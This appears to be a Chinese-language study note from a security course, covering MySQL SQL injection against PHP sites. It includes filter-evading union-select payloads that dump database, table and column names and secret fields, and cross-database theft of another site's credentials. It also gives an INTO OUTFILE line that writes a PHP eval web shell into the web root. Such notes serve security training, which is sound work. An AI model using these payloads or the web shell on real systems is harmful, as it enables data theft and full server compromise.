第42天 php应用&mysql架构&sql注入&跨库查询&文件读写&权限操作
两种MySQL架构
root统一管理
mysql root(默认) 网站A testA 网站B testB各管各的
mysql testA用户 网站A testA testB用户 网站B testB
获取相关数据
1、数据库版本:
version();是否符合information_schema查询,5.0以下可能没有2、数据库用户:
user();是否符合root型攻击3、当前操作系统:
@@eversion_compile_os;查看是否支持大小写(win/linux)4、数据库名字:
database();为接下来查询做准备
查询
1、常规查询
2、跨库查询(需要root)
通过B网站的注入点获取A网站的账号密码
流程
查询所有数据库名
nss=-1'//ununionion//select//1,database(),(select//group_concat(schema_name)//from//information_schema.schemata)#
查询表名
nss=-1'//ununionion//select//1,database(),group_concat(table_name)//from//infoorrmation_schema.tables//where/**/table_schema=database()#
查询表内字段名
nss=-1'//ununionion//select//1,database(),group_concat(column_name)//from//information_schema.columns//where/**/table_name='NSS_tb'#
查询字段内容(payload)
nss=-1'//ununionion//select//1,database(),group_concat(id,Secr3t,flll444g)//from//NSS_tb//limit/**/1,1#
直接用即可
跨库查询注意路径
from zblog.zbp_member------数据库名.表名等价于where table_schema='zblog' and table_name='zbp_member'
文件读写
读条件:
1、当前用户权限(需要root)
2、secure-file-priv设置
load_file("d://1.txt")
写
sqlselect 1,2,'<?php eval($_POST[x]);?>',4,5 into outfile 'd://phpstude//www//demo//xiaodi.php'
apache有默认安装路径------可以直接网上搜
读写的路径问题:
1、报错显示获取路径
2、phpinfo页面泄露
如果不知道路径:利用常见的默认中间介,数据库等安装路径读取有价值的信息
secure-file-priv设置导致读写无法进行
mysql注入
1、判断常见的4个信息(系统,用户,数据库名,版本)
2、根据上面4个信息选择方案:
1、root用户:先测试读写,后测试获取数据
2、非root用户:直接测试获取数据
进阶
单引号过滤绕过方式
SQL注入语句中,用单引号就不要用编码,编码就不要用单引号(路径,表名,数据库名)